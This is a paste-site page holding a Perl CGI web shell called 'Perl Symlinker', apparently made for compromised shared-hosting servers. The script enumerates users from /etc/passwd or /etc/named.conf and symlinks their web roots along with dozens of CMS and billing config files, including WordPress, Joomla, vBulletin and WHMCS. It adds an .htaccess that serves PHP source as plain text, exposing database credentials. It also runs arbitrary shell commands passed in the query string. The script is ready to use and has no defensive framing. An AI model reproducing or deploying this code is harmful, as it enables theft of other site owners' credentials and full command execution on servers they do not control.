0xspade icon

Perl Symlinker

0xspade | PRO | 01/20/17 07:16:05 AM UTC | 0 ⭐ | 559 👁️ | Never ⏰ | []
Perl |

8.41 KB

|

None

|

0 👍

/

0 👎

Raw Download Clone Embed Print View 
#!/usr/bin/perl -I/usr/local/bandmin
 
local ($buffer, @pairs, $pair, $name, $value, %FORM);
    # Read in text
    $ENV{'REQUEST_METHOD'} =~ tr/a-z/A-Z/;
    if ($ENV{'REQUEST_METHOD'} eq "GET")
    {
    $buffer = $ENV{'QUERY_STRING'};
    }
    # Split information into name/value pairs
    @pairs = split(/&/, $buffer);
    foreach $pair (@pairs)
    {
    ($name, $value) = split(/=/, $pair);
    $value =~ tr/+/ /;
    $value =~ s/%(..)/pack("C", hex($1))/eg;
    $FORM{$name} = $value;
    }
    $server = $FORM{server};
    $perl  = $FORM{perl};
    $config  = $FORM{config};
    $execute  = $FORM{execute};
    $execmd = $FORM{execmd};
    $exe  = $FORM{exe};
print "Content-type: text/html\n\n";
print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<http-equiv="Content-Language" content="en-us" />
<http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css">
.newStyle1 {
background-color: #111111;
font-family: "Courier New", Courier, monospace;
font-weight: bold;
color: lime;
}
.style1 {
text-align: center;
font-color: lime;
}
.but
{background-color: #111111;color:lime; border-color:#111111;}
.box
{background-color:#1c1c1c;color:lime;width:27%; border-color:#111111;}
.tbox
{background-color:#1c1c1c;color:lime;border-color:#111111;}
</style>
</head>
<body class="newStyle1">
<center><font size=4><pre>
      ___                         ___           ___           ___     
     /  /\          ___          /  /\         /  /\         /  /\    
    /  /::\        /  /\        /  /::\       /  /::\       /  /::\   
   /__/:/\:\      /  /::\      /  /:/\:\     /  /:/\:\     /  /:/\:\  
  _\_ \:\ \:\    /  /:/\:\    /  /::\ \:\   /  /:/  \:\   /  /::\ \:\ 
 /__/\ \:\ \:\  /  /::\ \:\  /__/:/\:\_\:\ /__/:/ \__\:| /__/:/\:\ \:\
 \  \:\ \:\_\/ /__/:/\:\_\:\ \__\/  \:\/:/ \  \:\ /  /:/ \  \:\ \:\_\/
  \  \:\_\:\   \__\/  \:\/:/      \__\::/   \  \:\  /:/   \  \:\ \:\  
   \  \:\/:/        \  \::/       /  /:/     \  \:\/:/     \  \:\_\/  
    \  \::/          \__\/       /__/:/       \__\::/       \  \:\    
     \__\/                       \__\/            ~~         \__\/    
 
                       
</pre></font></font></center> 
<p class="style1"></p>
<table align=center><tr><td><form><input type=hidden name="server" value="Server Sym"><input type="submit" value="Server" class=but></form></td>
<td><form><input type=hidden name="perl" value="Perl Sym"><input type="submit" value="Perl" class=but></form></td>
<td><form><input type=hidden name="config" value="Get config"><input type="submit" value="Config" class=but></form></td></tr></table><br><br>
<center><form><input type=text name=execute class=box value='.$execute.'><input type=hidden name="execmd" value="Execute"> <input type=submit name=exe value="Execute" class=but></form></center>';
 
sub getsym
{
            symlink('/home/'.$_[0].'/public_html/vb/includes/config.php',$_[1].'~~vBulletin1.txt');
            symlink('/home/'.$_[0].'/public_html/core/includes/config.php',$_[1].'~~vBulletin5.txt');
            symlink('/home/'.$_[0].'/public_html/includes/config.php',$_[1].'~~vBulletin2.txt');
            symlink('/home/'.$_[0].'/public_html/forum/includes/config.php',$_[1].'~~vBulletin3.txt');
            symlink('/home/'.$_[0].'/public_html/vb/core/includes/config.php',$_[1].'~~vBulletin5.txt');
            symlink('/home/'.$_[0].'/public_html/inc/config.php',$_[1].'~~mybb.txt');
            symlink('/home/'.$_[0].'/public_html/config.php',$_[1].'~~Phpbb1.txt');
            symlink('/home/'.$_[0].'/public_html/forum/includes/config.php',$_[1].'~~Phpbb2.txt');
            symlink('/home/'.$_[0].'/public_html/conf_global.php',$_[1].'~~ipb1.txt');
            symlink('/home/'.$_[0].'/public_html/wp-config.php',$_[1].'~~Wordpress1.txt');
            symlink('/home/'.$_[0].'/public_html/blog/wp-config.php',$_[1].'~~Wordpress2.txt');
            symlink('/home/'.$_[0].'/public_html/configuration.php',$_[1].'~~Joomla1.txt');
            symlink('/home/'.$_[0].'/public_html/blog/configuration.php',$_[1].'~~Joomla2.txt');
            symlink('/home/'.$_[0].'/public_html/joomla/configuration.php',$_[1].'~~Joomla3.txt');
            symlink('/home/'.$_[0].'/public_html/bb-config.php',$_[1].'~~boxbilling.txt');
            symlink('/home/'.$_[0].'/public_html/billing/bb-config.php',$_[1].'~~boxbilling.txt');
            symlink('/home/'.$_[0].'/public_html/whm/configuration.php',$_[1].'~~Whm1.txt');
            symlink('/home/'.$_[0].'/public_html/whmc/configuration.php',$_[1].'~~Whm2.txt');
            symlink('/home/'.$_[0].'/public_html/support/configuration.php',$_[1].'~~Whm3.txt');
            symlink('/home/'.$_[0].'/public_html/client/configuration.php',$_[1].'~~Whm4.txt');
            symlink('/home/'.$_[0].'/public_html/billings/configuration.php',$_[1].'~~Whm5.txt');
            symlink('/home/'.$_[0].'/public_html/billing/configuration.php',$_[1].'~~Whm6.txt');
            symlink('/home/'.$_[0].'/public_html/clients/configuration.php',$_[1].'~~Whm7.txt');
            symlink('/home/'.$_[0].'/public_html/whmcs/configuration.php',$_[1].'~~Whm8.txt');
            symlink('/home/'.$_[0].'/public_html/order/configuration.php',$_[1].'~~Whm9.txt');
            symlink('/home/'.$_[0].'/public_html/admin/conf.php',$_[1].'~~5.txt');
            symlink('/home/'.$_[0].'/public_html/admin/config.php',$_[1].'~~4.txt');
            symlink('/home/'.$_[0].'/public_html/conf_global.php',$_[1].'~~invisio.txt');
            symlink('/home/'.$_[0].'/public_html/include/db.php',$_[1].'~~7.txt');
            symlink('/home/'.$_[0].'/public_html/connect.php',$_[1].'~~8.txt');
            symlink('/home/'.$_[0].'/public_html/mk_conf.php',$_[1].'~~mk-portale1.txt');
            symlink('/home/'.$_[0].'/public_html/include/config.php',$_[1].'~~12.txt');
            symlink('/home/'.$_[0].'/public_html/settings.php',$_[1].'~~Smf.txt');
            symlink('/home/'.$_[0].'/public_html/includes/functions.php',$_[1].'~~phpbb3.txt');
            symlink('/home/'.$_[0].'/public_html/include/db.php',$_[1].'~~infinity.txt');
}
sub chdr
{
    chdir $_[0];
    open(DATA, ">.htaccess");
    print DATA "Options all\nDirectoryIndex sp.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any";
}
if($server eq "Server Sym")
{
    mkdir "Spade_perlsym", 0755;
    &chdr("Spade_perlsym");
    chdir "Spade_perlsym";
    open (d0mains, '/etc/named.conf') or $err=1;
    @kr = <d0mains>;
    close d0mains;
    if ($err)
    {
        open INPUT, "</etc/passwd";
        while ( <INPUT> )
        {
            $line=$_; @sprt=split(/:/,$line); $user=$sprt[0];
            system('ln -s /home/'.$user.'/public_html ' . $user);
        }
        print '<center>//>> <a href=Spade_perlsym>Server Sym</a></center>';
    }
    else
    {
        foreach my $one (@kr)
        {
            if($one =~ m/.*?zone "(.*?)" {/)
            {
                $filename= "/etc/valiases/".$1;
                $owner = getpwuid((stat($filename))[4]);
                system('ln -s /home/'.$owner.'/public_html ' . $1);
            }
        }
        print '<center>//>> <a href=Spade_perlsym>Server Sym</a></center>';
    }
}
elsif($perl eq "Perl Sym")
{
    mkdir "Spade_perlsym", 0755;
    &chdr("Spade_perlsym");
    chdir "Spade_perlsym";
    open (d0mains, '/etc/named.conf') or $err=1;
    @kr = <d0mains>;
    close d0mains;
    if ($err)
    {
        open INPUT, "</etc/passwd";
        while ( <INPUT> )
        {
            $line=$_; @sprt=split(/:/,$line); $user=$sprt[0];
            symlink('/home/'.$user.'/public_html', $user);
        }
        print '<center>//>> <a href=Spade_perlsym>Perl Sym</a></center>';
    }
    else
    {
        foreach my $one (@kr)
        {
            if($one =~ m/.*?zone "(.*?)" {/)
            {
                $filename= "/etc/valiases/".$1;
                $owner = getpwuid((stat($filename))[4]);
                symlink('/home/'.$owner.'/public_html', $1);
            }
        }
        print '<center>//>> <a href=Spade_perlsym>Perl Sym</a></center>';
    }
}
elsif($config eq "Get config")
{
    mkdir "Spade_perlsym2", 0755;
    &chdr("Spade_perlsym2");
    chdir "Spade_perlsym2";
    open (d0mains, '/etc/named.conf') or $err=1;
    @kr = <d0mains>;
    close d0mains;
    if ($err)
    {
        open INPUT, "</etc/passwd";
        while ( <INPUT> )
        {
            $line=$_; @sprt=split(/:/,$line); $user=$sprt[0];
            $user1 = $user;
            &getsym($user,$user1);
        }
        print '<center>//>> <a href=Spade_perlsym2>Config Sym</a></center>';
    }
    else
    {
        foreach my $one (@kr)
        {
            if($one =~ m/.*?zone "(.*?)" {/)
            {
                $filename= "/etc/valiases/".$1;
                $owner = getpwuid((stat($filename))[4]);
                &getsym($owner,$1);
            }
        }
        print '<center>//>> <a href=Spade_perlsym2>Config Sym</a></center>';
    }
}
elsif($execmd eq "Execute")
{
    print '<br><br><center><pre>'.readpipe($execute).'</pre></center>';
}
print '</body></html>';

Comments

  • icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
    
    

    

            
    •